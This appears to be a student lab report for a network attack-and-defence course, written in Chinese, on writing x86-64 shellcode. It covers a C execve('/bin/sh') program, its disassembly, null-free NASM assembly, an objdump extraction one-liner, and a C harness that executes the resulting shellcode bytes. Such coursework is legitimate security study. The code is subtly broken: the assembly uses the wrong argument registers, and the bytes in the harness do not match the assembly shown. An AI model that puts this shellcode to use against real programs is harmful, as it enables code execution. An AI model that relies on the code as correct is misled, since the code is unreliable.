2019-2020-2 20175310奚晨妍《网络对抗技术》Exp1+ 逆向进阶

时间：2020-03-20 00:45:01 阅读：91 评论：0 收藏：0 [点我收藏+]

标签：语言复制 tee 反汇编 oba 拷贝 htm 文件名十进制

1 Task1
2 参考资料

1 Task1

shellcode就是一段机器指令（code）

通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe）
所以这段机器指令被称为shellcode。
在实际的应用中，凡是用来注入的机器指令段都通称为shellcode,功能可以是添加一个用户、运行一条指令等。

Shellcode有以下几点要求

调用系统函数获取shell权限
Shellcode里面不能出现\x00

1.1 用C语言编写代码

在Linux里，有两种方法创建新进程：

一是通过现有的进程来创建，并替换正在活动的；
二是利用现有的进程来生成它自己的拷贝，并在它的位置运行这个新进程。

而execve()系统调用就可以在现有的进程空间里执行其他的进程。

因此这里选择通过C语言调用execve()来返回shell。

我们先在终端中输入man execve了解一下这个函数的用法：

技术图片

从图中可以看出execve()需要三个参数：

filename必须指向包含要执行的二进制文件的路径的字符串。在这个例子中就是/bin/sh。
argv []是程序的参数列表。大多数程序将使用强制性/选项参数运行。而我们只想执行/bin/sh，而没有任何更多的参数，所以参数列表只是一个NULL指针。但是按照惯例，第一个参数是我们要执行的文件名，所以argv []就是"/bin/sh",NULL。
envp []是要以key：value格式传递给程序的任何其他环境选项的列表。为了我们的目的，这将是NULL指针\x00000000。

由此我们可以编写C代码：

#include <unistd.h>
#include <stdlib.h>
char *buf[]={"/bin/sh",NULL};
void main()
{
  execve("/bin/sh",buf,0);
  exit(0);
}

1.2 编译代码并查看反汇编结果

对上述代码进行静态编译，此时执行可以看到返回了shell。

技术图片

输入objdump -d test | more进行反汇编。

技术图片

可以发现execve()就相当于执行syscall，然后调用0x3b调用号，0x3b对应十进制的59，也就是execve()的调用号。

1.3 编写shellcode

shellcode应该尽量地简洁紧凑，这样才能注入更小的缓冲区
- 当遇到n字节长的缓冲区时，不仅要把整个shellcode复制到缓冲区，还要加上调用shellcode的指令，所以shellcode必须比n小。
Shellcode里面不能出现\x00
- shellcode中如果存在一些NULL（\x00）字符，当我们把shellcode复制到缓冲区时，有时候会出现异常（因为字符数组用null做终止符）。

section .text 
global _start 
_start: 
xor rax,rax ;将rax置为0
push rax ;将全0入栈
 
push 0x68732f 
push 0x6e69622f ;在堆栈中反向压入“/bin/sh”，即“hs/nib/”
 
mov rbx,rsp ;用rsp将rbx指向“/bin/sh”

push rax ;将全0入栈
mov rdx,rsp ;将rsp指向rdx

push rbx ;将“/bin/sh”地址入栈
mov rcx,rsp ;让rcx指向地址
 
mov eax,0xffffffc5 ;
neg eax ;将0x3b赋值给eax             
 
syscall

输入nasm -f elf64 shellcode_test.asm和ld -o shellcode_test shellcode_test.o编译汇编文件，输入objdump -d shellcode_test进行反汇编

技术图片

1.4 提取shellcode

上图中红框里就是我们需要的机器码，可以自己手动输入，或是使用下面这段代码直接生成

objdump -d ./shellcode_test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

技术图片

1.5 编写测试代码

调用shellcode其实有很多种方法，这里我用了一种最简单的，其他方法可以参考这篇博客。

#include <stdio.h>

int main()
{
          char shellcode[] = "\x48\x31\xd2\x48\x31\xf6\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\xb8\xc5\xff\xff\xff\xf7\xd8\x0f\x05";
           ((void(*)(void))&shellcode)(); 
}

编译好代码后，一定要设置堆栈可执行，不然成功不了，这里有两种方法：